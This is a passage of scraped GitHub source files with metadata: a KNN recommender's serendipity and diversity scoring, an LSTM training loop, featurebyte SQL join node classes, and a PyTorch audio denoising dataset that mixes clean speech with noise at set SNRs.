axis=0)\n\n            if lambda_serendipity != 0:\n                prediction_score = self.add_serendipity(num_users, item_pop_matrix, prediction_score, lambda_serendipity)\n\n            if lambda_diversity != 0:\n                prediction_score = self.add_diversity(num_items, prediction_score, lambda_diversity)\n\n            prediction_scores.append(prediction_score)\n\n        return np.array(prediction_scores)\n\n    def add_serendipity(self, num_users, item_pop_matrix, prediction_score, lambda_serendipity):\n        serendipity = (1 - lambda_serendipity) + lambda_serendipity * np.log10(num_users/(item_pop_matrix+1))\n        return prediction_score * serendipity\n\n    def add_diversity(self, num_items, prediction_score, lambda_diversity):\n        initial_item_rank_list = prediction_score.argsort()[::-1]\n        mmr_scores = []\n        S = []\n\n        for n in range(num_items):\n            if len(S) == 0:\n                item = initial_item_rank_list[0]\n                mmr_score = self.calculate_mmr_score(lambda_diversity=lambda_diversity,\n                                                     sim1=prediction_score[item],\n                                                     sim2=[[0]])\n                mmr_scores.append(mmr_score[0])\n                S.append(item)\n            else:\n                remaining_items = np.setdiff1d(initial_item_rank_list, S)\n\n                sim2 = self.item_similarity[remaining_items][:,S]\n\n                mmr_score = self.calculate_mmr_score(lambda_diversity=lambda_diversity,\n                                                     sim1=prediction_score[remaining_items],\n                                                     sim2=sim2)\n\n                S.append(remaining_items[mmr_score.argmax()])\n                mmr_scores.append(np.max(mmr_score))\n\n        order = np.array(S).argsort()\n        return np.array(mmr_scores)[order]\n\n    def calculate_mmr_score(self, lambda_diversity, sim1, sim2):\n        return (1-lambda_diversity) * sim1 - lambda_diversity * np.max(sim2, axis=1)\n\n", "repo_name": "k9luo/K-Nearest-Neighbors-Recommendation-on-Yelp", "sub_path": "models/k_nearest_neighbor.py", "file_name": "k_nearest_neighbor.py", "file_ext": "py", "file_size_in_byte": 3416, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 21, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.setdiff1d", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 81, "usage_type": "call"}]}
{"seq_id": "21907044692", "text": "import torch\nfrom torch.utils.data import DataLoader\n\nfrom .LSTM import LSTM\nfrom . import cfg\nfrom utils.MyDataset import MyDataset\n\n\ndef loss_fn(labels, outputs):\n    summ = torch.abs(labels) + torch.abs(outputs) + cfg.epsilon\n    smape = torch.mean(torch.abs(outputs - labels) / summ * 2.0)\n    return smape\n\n\ndef train(data, data_type):\n    dataset = MyDataset(data, 'predict1')\n    data_loader = DataLoader(dataset=dataset, batch_size=cfg.batch_size, shuffle=True, drop_last=True)\n\n    model = LSTM()\n    optimizer = torch.optim.Adam(model.parameters(), lr=cfg.lr)\n    loss_function = torch.nn.MSELoss()\n\n    single_loss = None\n\n    for i in range(cfg.epochs):\n        for inputs, labels, mins, stds in data_loader:\n\n            optimizer.zero_grad()\n            inputs = torch.transpose(inputs, 1, 0)\n            model.hidden_cell = (torch.zeros(1, cfg.batch_size, model.hidden_layer_size),\n                                 torch.zeros(1, cfg.batch_size, model.hidden_layer_size))\n\n            y_pred = model(inputs)\n            y_pred = y_pred * stds + mins\n            single_loss = loss_function(y_pred, labels)\n            single_loss.backward()\n            optimizer.step()\n\n        # if i % 1 == 0:\n            print(f'epoch: {i:3} loss: {single_loss.item():10.8f}')\n        if i > 0 and i % 50 == 0:\n            torch.save(model, '%s/lstm_%s.pt' % (cfg.model_path, data_type))\n            print('save model success!')\n\n        print(f'epoch: {i:3} loss: {single_loss.item():10.10f}')\n", "repo_name": "anonym-db-repo/DTTD", "sub_path": "lstmNet/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.abs", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 11, "usage_type": "call"}, {"api_name": "utils.MyDataset.MyDataset", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 17, "usage_type": "call"}, {"api_name": "LSTM.LSTM", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.transpose", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 42, "usage_type": "call"}]}
{"seq_id": "12029536791", "text": "\"\"\"\nModule for join operation sql generation\n\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Literal, Optional, cast\n\nfrom dataclasses import dataclass\n\nfrom sqlglot import expressions\nfrom sqlglot.expressions import Select\n\nfrom featurebyte.query_graph.enum import NodeType\nfrom featurebyte.query_graph.sql.ast.base import SQLNodeContext, TableNode\nfrom featurebyte.query_graph.sql.common import get_qualified_column_identifier\nfrom featurebyte.query_graph.sql.scd_helper import Table, get_scd_join_expr\n\n\n@dataclass\nclass Join(TableNode):\n    \"\"\"\n    Join SQLNode\n    \"\"\"\n\n    left_node: TableNode\n    right_node: TableNode\n    left_on: str\n    right_on: str\n    join_type: Literal[\"left\", \"inner\"]\n    query_node_type = NodeType.JOIN\n\n    def from_query_impl(self, select_expr: Select) -> Select:\n        left_subquery = expressions.Subquery(this=self.left_node.sql, alias=\"L\")\n        join_conditions = expressions.EQ(\n            this=get_qualified_column_identifier(self.left_on, \"L\"),\n            expression=get_qualified_column_identifier(self.right_on, \"R\"),\n        )\n        select_expr = select_expr.from_(left_subquery).join(\n            self.right_node.sql_nested(),\n            on=join_conditions,\n            join_type=self.join_type,\n            join_alias=\"R\",\n        )\n        return select_expr\n\n    @classmethod\n    def build(cls, context: SQLNodeContext) -> Optional[Join]:\n        if context.parameters.get(\"scd_parameters\") is not None:\n            return None\n        parameters = context.parameters\n        columns_map = {}\n        for input_col, output_col in zip(\n            parameters[\"left_input_columns\"], parameters[\"left_output_columns\"]\n        ):\n            columns_map[output_col] = get_qualified_column_identifier(input_col, \"L\")\n        for input_col, output_col in zip(\n            parameters[\"right_input_columns\"], parameters[\"right_output_columns\"]\n        ):\n            columns_map[output_col] = get_qualified_column_identifier(input_col, \"R\")\n        node = Join(\n            context=context,\n            columns_map=columns_map,\n            left_node=cast(TableNode, context.input_sql_nodes[0]),\n            right_node=cast(TableNode, context.input_sql_nodes[1]),\n            left_on=parameters[\"left_on\"],\n            right_on=parameters[\"right_on\"],\n            join_type=parameters[\"join_type\"],\n        )\n        return node\n\n\n@dataclass\nclass SCDJoin(TableNode):\n    \"\"\"\n    SCDJoin joins the latest record per natural key from the right table to the left table\n    \"\"\"\n\n    # pylint: disable=too-many-instance-attributes\n\n    left_node: TableNode\n    right_node: TableNode\n    left_on: str\n    right_on: str\n    left_timestamp_column: str\n    right_timestamp_column: str\n    left_input_columns: list[str]\n    left_output_columns: list[str]\n    right_input_columns: list[str]\n    right_output_columns: list[str]\n    join_type: Literal[\"left\", \"inner\"]\n    query_node_type = NodeType.JOIN\n\n    def from_query_impl(self, select_expr: Select) -> Select:\n        \"\"\"\n        Construct a query to perform SCD join\n\n        The general idea is to first merge the left timestamps (event timestamps) and right\n        timestamps (SCD record effective timestamps) along with join keys into a temporary table.\n        Then apply a LAG window function on this temporary table to retrieve the latest effective\n        timestamp corresponding to each event timestamp in one go.\n\n        Parameters\n        ----------\n        select_expr: Select\n            Partially constructed select expression\n\n        Returns\n        -------\n        Select\n        \"\"\"\n        left_table = Table(\n            expr=cast(Select, self.left_node.sql),\n            timestamp_column=self.left_timestamp_column,\n            join_keys=[self.left_on],\n            input_columns=self.left_input_columns,\n            output_columns=self.left_output_columns,\n        )\n        right_table = Table(\n            expr=cast(Select, self.right_node.sql),\n            timestamp_column=self.right_timestamp_column,\n            join_keys=[self.right_on],\n            input_columns=self.right_input_columns,\n            output_columns=self.right_output_columns,\n        )\n        select_expr = get_scd_join_expr(\n            left_table,\n            right_table,\n            join_type=self.join_type,\n            select_expr=select_expr,\n            adapter=self.context.adapter,\n            convert_timestamps_to_utc=True,\n        )\n        return select_expr\n\n    @classmethod\n    def build(cls, context: SQLNodeContext) -> Optional[SCDJoin]:\n        if context.parameters.get(\"scd_parameters\") is None:\n            return None\n        parameters = context.parameters\n\n        columns_map = {}\n\n        # It is intended to consider only \"left_output_columns\" here. In the L aliased subquery\n        # that will be constructed in from_query_impl(), the left side columns would have already\n        # been renamed, so here they should be referred to using output column names.\n        for output_col in parameters[\"left_output_columns\"]:\n            columns_map[output_col] = get_qualified_column_identifier(output_col, \"L\")\n\n        for input_col, output_col in zip(\n            parameters[\"right_input_columns\"], parameters[\"right_output_columns\"]\n        ):\n            columns_map[output_col] = get_qualified_column_identifier(input_col, \"R\")\n\n        node = SCDJoin(\n            context=context,\n            columns_map=columns_map,\n            left_node=cast(TableNode, context.input_sql_nodes[0]),\n            right_node=cast(TableNode, context.input_sql_nodes[1]),\n            left_on=parameters[\"left_on\"],\n            right_on=parameters[\"right_on\"],\n            join_type=parameters[\"join_type\"],\n            left_timestamp_column=parameters[\"scd_parameters\"][\"left_timestamp_column\"],\n            right_timestamp_column=parameters[\"scd_parameters\"][\"effective_timestamp_column\"],\n            left_input_columns=parameters[\"left_input_columns\"],\n            left_output_columns=parameters[\"left_output_columns\"],\n            right_input_columns=parameters[\"right_input_columns\"],\n            right_output_columns=parameters[\"right_output_columns\"],\n        )\n        return node\n", "repo_name": "featurebyte/featurebyte", "sub_path": "featurebyte/query_graph/sql/ast/join.py", "file_name": "join.py", "file_ext": "py", "file_size_in_byte": 6208, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 20, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 25, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 29, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.JOIN", "line_number": 30, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 30, "usage_type": "name"}, {"api_name": "sqlglot.expressions.Select", "line_number": 32, "usage_type": "name"}, {"api_name": "sqlglot.expressions.Subquery", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlglot.expressions", "line_number": 33, "usage_type": "name"}, {"api_name": "sqlglot.expressions.EQ", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlglot.expressions", "line_number": 34, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.get_qualified_column_identifier", "line_number": 35, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.common.get_qualified_column_identifier", "line_number": 36, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.base.SQLNodeContext", "line_number": 47, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.get_qualified_column_identifier", "line_number": 55, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.common.get_qualified_column_identifier", "line_number": 59, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 63, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 63, "usage_type": "argument"}, {"api_name": "typing.cast", "line_number": 64, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 64, "usage_type": "argument"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 19, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 73, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 80, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 90, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.enum.NodeType.JOIN", "line_number": 91, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 91, "usage_type": "name"}, {"api_name": "sqlglot.expressions.Select", "line_number": 93, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.scd_helper.Table", "line_number": 111, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 112, "usage_type": "call"}, {"api_name": "sqlglot.expressions.Select", "line_number": 112, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.scd_helper.Table", "line_number": 118, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 119, "usage_type": "call"}, {"api_name": "sqlglot.expressions.Select", "line_number": 119, "usage_type": "argument"}, {"api_name": "featurebyte.query_graph.sql.scd_helper.get_scd_join_expr", "line_number": 125, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.base.SQLNodeContext", "line_number": 136, "usage_type": "name"}, {"api_name": "featurebyte.query_graph.sql.common.get_qualified_column_identifier", "line_number": 147, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.common.get_qualified_column_identifier", "line_number": 152, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 157, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 157, "usage_type": "argument"}, {"api_name": "typing.cast", "line_number": 158, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.sql.ast.base.TableNode", "line_number": 158, "usage_type": "argument"}, {"api_name": "typing.Optional", "line_number": 136, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 72, "usage_type": "name"}]}
{"seq_id": "6876217776", "text": "import glob\nimport json\nimport math\nimport os\nimport random\nfrom pathlib import Path\n\nimport cv2\nimport librosa\nimport numpy as np\nimport torch\nfrom joblib import Parallel, delayed\nfrom torch.utils.data import DataLoader, Dataset\nfrom tqdm import tqdm\n\nfrom common import (EXPERIMENT_NAME, PHASE_PREDICTION, PHASE_TESTING,\n                    PHASE_TRAINING, PROJECT_ROOT)\nfrom tools import *\nfrom transform import *\nfrom utils import ensure_dir\nfrom visualization import draw_spectrum, draw_waveform\n\nDATA_ROOT = os.path.join(PROJECT_ROOT, \"data\")\nDEBUG_OUT = os.path.join(DATA_ROOT, \"debug_dataset_output\", EXPERIMENT_NAME)\nJSON_PARTIAL_NAME = '_TEDx1.json'\n\nRANDOM_SEED = 10\nPRED_RANDOM_SEED = 100\n\nDATA_LENGTH_SECONDS = 2\nDATA_OVERLAP_SECONDS = 1\nDATA_REQUIRED_SR = 14000\n\nSNRS = [-10, -7, -3, 0, 3, 7, 10]\n\nNOISE_SRC_ROOT_TRAIN = os.path.join(DATA_ROOT, \"noise_data_DEMAND\", \"train_noise\")\nNOISE_SRC_ROOT_TEST = os.path.join(DATA_ROOT, \"noise_data_DEMAND\", \"test_noise\")\n\nAUDIOSET_NOISE_SRC_TRAIN = os.path.join(DATA_ROOT, \"audioset_noises_balanced_train\")\nAUDIOSET_NOISE_SRC_EVAL = os.path.join(DATA_ROOT, \"audioset_noises_balanced_eval\")\n\n# Functions\n##############################################################################\ndef get_dataloader(phase, batch_size=4, num_workers=4, snr_idx=None):\n    is_shuffle = phase == PHASE_TRAINING\n\n    dataset = AudioDataset(phase, DATA_LENGTH_SECONDS, DATA_OVERLAP_SECONDS, sr=DATA_REQUIRED_SR, snr_idx=snr_idx)\n    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=is_shuffle, num_workers=num_workers,\n                            pin_memory=True, worker_init_fn=np.random.seed())\n    return dataloader\n\n\n# datasets\n##############################################################################\nclass AudioDataset(Dataset):\n    def __init__(self, phase, data_len_sec, data_overlap_sec, sr=16000, n_fft=510, hop_length=158, win_length=400, snr_idx=None):\n        print('========== DATASET CONSTRUCTION ==========')\n        print('Initializing dataset...')\n        super(AudioDataset, self).__init__()\n        self.data_root = os.path.join(DATA_ROOT, phase)\n        self.aug = phase == PHASE_TRAINING\n        self.phase = phase\n        self.sr = sr\n        self.data_len_sec = data_len_sec\n        self.data_overlap_sec = data_overlap_sec\n        # self.clip_len = 32768 # 28000\n        self.clip_len = self.sr * data_len_sec\n        self.clip_overlap = self.sr * data_overlap_sec\n        self.n_fft = n_fft\n        self.hop_length = hop_length\n        self.win_length = win_length\n        self.dataset_json = os.path.join(DATA_ROOT, phase + JSON_PARTIAL_NAME)\n\n        print('Loading data...')\n        with open(os.path.join(self.dataset_json), 'r') as fp:\n            info = json.load(fp)\n        self.dataset_path = info['dataset_path']\n        self.num_files = info['num_videos']\n        self.files = info['files']\n        # self.items = info[phase]\n\n        print('Getting all noise files...')\n        self.noise_src = [f.resolve() for f in Path(NOISE_SRC_ROOT_TRAIN).rglob('*.wav')]\\\n            + [f.resolve() for f in Path(AUDIOSET_NOISE_SRC_TRAIN).rglob('*.wav')]\n        if phase != PHASE_TRAINING:\n            self.noise_src = [f.resolve() for f in Path(NOISE_SRC_ROOT_TEST).rglob('*.wav')]\\\n                + [f.resolve() for f in Path(AUDIOSET_NOISE_SRC_EVAL).rglob('*.wav')]\n        # print(len(self.noise_src))\n\n        # self.snrs = [0, 5, 10, 15]\n        # if phase != PHASE_TRAINING:\n        #     self.snrs = [2.5, 7.5, 12.5, 17.5]\n        # self.snrs = [-20, -17, -13, -10, -7, -3, 0, 3, 7, 10]\n        self.snrs = SNRS\n        # self.snrs = [0]    # train and test on single SNR\n        print(\"SNRs:\", self.snrs)\n        self.snr_idx = snr_idx\n        print(\"snr_idx:\", self.snr_idx)\n\n        print('Loading all noise files...')\n        # self.noises = [i[0] for i in (librosa.load(n, sr=self.sr) for n in tqdm(self.noise_src))]\n        self.noises = Parallel(n_jobs=-1, backend=\"multiprocessing\")\\\n            (delayed(load_wav)(n, sr=self.sr) for n in tqdm(self.noise_src))\n        # print(len(self.noises))\n        self.noise_dict = {}\n        if phase == PHASE_PREDICTION:\n            random.seed(PRED_RANDOM_SEED)\n            for f_idx, file in enumerate(self.files):\n                selected_noise = random.choice(self.noises)\n                start = random.randint(0, len(selected_noise) - int(math.ceil(file['duration'])*self.sr))\n                selected_noise_cropped = selected_noise[start:start+int(math.ceil(file['duration'])*self.sr)]\n                if self.snr_idx is None:\n                    snr = random.choice(self.snrs)\n                else:\n                    snr = self.snrs[self.snr_idx]\n                self.noise_dict[f_idx] = (selected_noise_cropped, snr)\n\n        print('Generating data items...')\n        self.items = []\n        if phase == PHASE_TRAINING:\n            self.items = create_sample_list_from_indices(self.files, data_len_sec=self.data_len_sec,\\\n                data_overlap_sec=self.data_overlap_sec, random_seed=RANDOM_SEED)\n        if phase == PHASE_TESTING:\n            self.items = create_sample_list_from_indices(self.files, percent_samples_selected=0.1, data_len_sec=self.data_len_sec,\\\n                data_overlap_sec=self.data_overlap_sec, random_seed=RANDOM_SEED)\n        elif phase == PHASE_PREDICTION:\n            self.items = create_sample_list_from_indices(self.files, data_len_sec=self.data_len_sec,\\\n                data_overlap_sec=self.data_overlap_sec, random_seed=RANDOM_SEED, pred=True)\n        # print(self.items)\n        self.num_samples = len(self.items)\n        # self.num_samples = num_samples\n\n        print('========== SUMMARY ==========')\n        print('Mode:', phase)\n        print('Dataset JSON:', self.dataset_json)\n        print('Dataset path:', self.dataset_path)\n        print('Num samples:', self.num_samples)\n        print('Sample rate: {}'.format(self.sr))\n        print('Clip length: {}'.format(self.clip_len))\n        print('n_fft: {}'.format(self.n_fft))\n        print('hop_length: {}'.format(self.hop_length))\n        print('win_length: {}'.format(self.win_length))\n\n    def __getitem__(self, index):\n        item = self.items[index]\n        # item[0]: video clip index\n        # item[1]: data starting bit's index (in second) in video clip\n        # item[2]: data ending bit's index (in second) in video clip\n        # item[3]: data bit stream\n        # item[4]: audio_path\n        # item[5]: framerate\n        file_info_dict = self.files[item[0]]\n        # print(item[1]+self.data_len_sec, '<=', float(file_info_dict['duration']))\n        assert item[1]+self.data_len_sec <= float(file_info_dict['duration'])\n        start = int(item[1] * self.sr)\n        end = int(item[2] * self.sr)\n\n        try:\n            # TODO: read data\n            # 1. read clean signal\n            # clean signal\n            audio, _ = librosa.load(item[4], sr=self.sr)\n            audio = audio[start:end]\n            # print('audio: ({}, {})'.format(np.amin(audio), np.amax(audio)))\n\n            # 5. ground truth bitstream -> mask\n            bitstream = item[3]\n            frames_to_audiosample_ratio = self.sr / item[5]\n            # print(mixed_sig.shape[0], '==', len(bitstream) * frames_to_audiosample_ratio)\n            # assert mixed_sig.shape[0] == int(len(bitstream) * frames_to_audiosample_ratio)\n            mask = np.zeros_like(audio)\n            for bit_idx, bit in enumerate(bitstream):\n                # mask out non-silent intervals in mixed_sig\n                # silent 1. non-silent 0\n                if bit == '0':    # silent frame\n                    mask[int(bit_idx * frames_to_audiosample_ratio):int((bit_idx+1) * frames_to_audiosample_ratio - 1)] = 1\n                elif bit == '1':  # non-silent frame\n                    mask[int(bit_idx * frames_to_audiosample_ratio):int((bit_idx+1) * frames_to_audiosample_ratio - 1)] = 0\n                else:\n                    print('Invalid bit?')\n                    raise RuntimeError\n\n            # check if mask has sporatic 0/1's\n            mask_idx = 0\n            for k, g in groupby(mask):\n                g_len = len(list(g))\n                if g_len < 5:\n                    mask[mask_idx:mask_idx+g_len] = 1 - k\n                mask_idx += g_len\n            # print(mask)\n\n            # 5.5. enforce silent intervals to be truly silent (clean_sig)\n            audio = audio * (1 - mask)\n\n            # 2. read noise signal\n            if self.phase == PHASE_PREDICTION:\n                snr = self.noise_dict[item[0]][1]\n                noise = self.noise_dict[item[0]][0]\n            else:\n                if self.snr_idx is None:\n                    snr = random.choice(self.snrs)\n                else:\n                    snr = self.snrs[self.snr_idx]\n                noise = random.choice(self.noises)\n\n            # print('noise: ({}, {})'.format(np.amin(noise), np.amax(noise)))\n\n            # 3. normalize clean/noise signal to the same range\n            # audio = librosa.util.normalize(audio)\n            # noise = librosa.util.normalize(noise)\n\n            # print('audio normalized: ({}, {})'.format(np.amin(audio), np.amax(audio)))\n            # print('noise normalized: ({}, {})'.format(np.amin(noise), np.amax(noise)))\n\n            # 4. mixed_sig, clean_sig, full_noise = add_signals(clean, noise, snr=?, norm=0.5)\n            # mixed_sig = clean_sig + full_noise\n            mixed_sig, clean_sig, full_noises = add_noise_to_audio(audio, noise, snr=snr, norm=0.5)\n            full_noise = full_noises[0]\n            # print(mixed_sig.shape, clean_sig.shape, full_noise.shape)\n            # assert mixed_sig.shape == clean_sig.shape == full_noise.shape\n\n            # print('clean_sig: ({}, {})'.format(np.amin(clean_sig), np.amax(clean_sig)))\n            # print('mixed_sig: ({}, {})'.format(np.amin(mixed_sig), np.amax(mixed_sig)))\n            # print('full_noise: ({}, {})'.format(np.amin(full_noise), np.amax(full_noise)))\n            # print('mixed == clean + full_noise?', np.allclose(mixed_sig, clean_sig+full_noise))\n\n            \n            # 6. noise_sig(masked noise) = full_noise * mask = mixed_sig * mask     # not really...\n            noise_sig = mixed_sig * mask\n            # assert np.alltrue(full_noise * mask == mixed_sig * mask)\n            # print('noise_sig: ({}, {})'.format(np.amin(noise_sig), np.amax(noise_sig)))\n\n            # stft\n            mixed_sig_stft = fast_stft(mixed_sig, n_fft=self.n_fft, hop_length=self.hop_length, win_length=self.win_length)\n            clean_sig_stft = fast_stft(clean_sig, n_fft=self.n_fft, hop_length=self.hop_length, win_length=self.win_length)\n            noise_sig_stft = fast_stft(noise_sig, n_fft=self.n_fft, hop_length=self.hop_length, win_length=self.win_length)\n            full_noise_sig_stft = fast_stft(full_noise, n_fft=self.n_fft, hop_length=self.hop_length, win_length=self.win_length)\n\n            # mixed_sig_stft = librosa.stft(mixed_sig, self.n_fft, self.hop_length, self.win_length)\n            # clean_sig_stft = librosa.stft(clean_sig, self.n_fft, self.hop_length, self.win_length)\n            # noise_sig_stft = librosa.stft(noise_sig, self.n_fft, self.hop_length, self.win_length)\n            # full_noise_sig_stft = librosa.stft(full_noise, self.n_fft, self.hop_length, self.win_length)\n            # mixed_sig_stft = real_imag_expand(mixed_sig_stft)\n            # clean_sig_stft = real_imag_expand(clean_sig_stft)\n            # noise_sig_stft = real_imag_expand(noise_sig_stft)\n            # full_noise_sig_stft = real_imag_expand(full_noise_sig_stft)\n\n            icrm = fast_cRM_sigmoid(clean_sig_stft, mixed_sig_stft)\n\n            # # scale to [-1, 1]\n            # mixed_sig = torch.tensor(mixed_sig, dtype=torch.float32).unsqueeze(0) / 0.5\n            # clean_sig = torch.tensor(clean_sig, dtype=torch.float32).unsqueeze(0) / 0.5\n            # noise_sig = torch.tensor(noise_sig, dtype=torch.float32).unsqueeze(0) / 0.5\n\n            mixed_sig_stft = torch.tensor(mixed_sig_stft.transpose((2, 0, 1)), dtype=torch.float32)\n            clean_sig_stft = torch.tensor(clean_sig_stft.transpose((2, 0, 1)), dtype=torch.float32)\n            noise_sig_stft = torch.tensor(noise_sig_stft.transpose((2, 0, 1)), dtype=torch.float32)\n            full_noise_sig_stft = torch.tensor(full_noise_sig_stft.transpose((2, 0, 1)), dtype=torch.float32)\n            icrm = torch.tensor(icrm.transpose((2, 0, 1)), dtype=torch.float32)\n\n            # For debug, visualizing data\n            # debug_out_more = os.path.join(DEBUG_OUT, str(snr))\n            # ensure_dir(debug_out_more)\n\n            # # plt.figure()\n            # # librosa.display.waveplot(mixed_sig, sr=self.sr)\n            # # plt.savefig(os.path.join(debug_out_more, 'mixed_sig.jpg'))\n            # # plt.close()\n            # cv2.imwrite(os.path.join(debug_out_more, 'mixed_sig.jpg'), draw_waveform([mixed_sig], sr=self.sr))\n            # cv2.imwrite(os.path.join(debug_out_more, 'mixed_sig_spec.jpg'), draw_spectrum([mixed_sig], sr=self.sr))\n            # librosa.output.write_wav(os.path.join(debug_out_more, 'mixed_sig.wav'), mixed_sig, self.sr)\n\n            # # plt.figure()\n            # # librosa.display.waveplot(clean_sig, sr=self.sr)\n            # # plt.savefig(os.path.join(debug_out_more, 'clean_sig.jpg'))\n            # # plt.close()\n            # cv2.imwrite(os.path.join(debug_out_more, 'clean_sig.jpg'), draw_waveform([clean_sig], sr=self.sr))\n            # cv2.imwrite(os.path.join(debug_out_more, 'clean_sig_spec.jpg'), draw_spectrum([clean_sig], sr=self.sr))\n            # librosa.output.write_wav(os.path.join(debug_out_more, 'clean_sig.wav'), clean_sig, self.sr)\n\n            # # plt.figure()\n            # # librosa.display.waveplot(full_noise, sr=self.sr)\n            # # plt.savefig(os.path.join(debug_out_more, 'full_noise.jpg'))\n            # # plt.close()\n            # cv2.imwrite(os.path.join(debug_out_more, 'full_noise.jpg'), draw_waveform([full_noise], sr=self.sr))\n            # cv2.imwrite(os.path.join(debug_out_more, 'full_noise_spec.jpg'), draw_spectrum([full_noise], sr=self.sr))\n            # librosa.output.write_wav(os.path.join(debug_out_more, 'full_noise.wav'), full_noise, self.sr)\n\n            # # plt.figure()\n            # # librosa.display.waveplot(full_noise * mask, sr=self.sr)\n            # # plt.savefig(os.path.join(debug_out_more, 'masked_noise_fullnoise.jpg'))\n            # # plt.close()\n            # cv2.imwrite(os.path.join(debug_out_more, 'masked_noise_fullnoise.jpg'), draw_waveform([full_noise * mask], sr=self.sr))\n            # cv2.imwrite(os.path.join(debug_out_more, 'masked_noise_fullnoise_spec.jpg'), draw_spectrum([full_noise * mask], sr=self.sr))\n            # librosa.output.write_wav(os.path.join(debug_out_more, 'masked_noise_fullnoise.wav'), full_noise * mask, self.sr)\n\n            # # plt.figure()\n            # # librosa.display.waveplot(mixed_sig * mask, sr=self.sr)\n            # # plt.savefig(os.path.join(debug_out_more, 'masked_noise_mixedsig.jpg'))\n            # # plt.close()\n            # cv2.imwrite(os.path.join(debug_out_more, 'masked_noise_mixedsig.jpg'), draw_waveform([mixed_sig * mask], sr=self.sr))\n            # cv2.imwrite(os.path.join(debug_out_more, 'masked_noise_mixedsig_spec.jpg'), draw_spectrum([mixed_sig * mask], sr=self.sr))\n            # librosa.output.write_wav(os.path.join(debug_out_more, 'masked_noise_mixedsig.wav'), mixed_sig * mask, self.sr)\n\n            # exit(0)\n\n        except Exception as e:\n            # print(e)\n            raise RuntimeError\n\n        return {\n            \"mixed\": mixed_sig_stft,\n            \"clean\": clean_sig_stft,\n            \"noise\": noise_sig_stft,\n            \"full_noise\": full_noise_sig_stft,\n            \"mask\": icrm,\n            # \"id\": item[0],\n            \"start\": start,\n            \"bitstream\": bitstream\n        }\n\n    def __len__(self):\n        return len(self.items)\n\n\ndef test():\n    # dataloader = get_dataloader(PHASE_TRAINING, batch_size=8, num_workers=0)\n    dataloader = get_dataloader(PHASE_TESTING, batch_size=1, num_workers=1)\n    # dataloader = get_dataloader(PHASE_PREDICTION, batch_size=1, num_workers=0)\n    for i, data in enumerate(dataloader):\n        print('================================================================')\n        print('batch index:', i)\n        print('data[\\'bitstream\\']:', 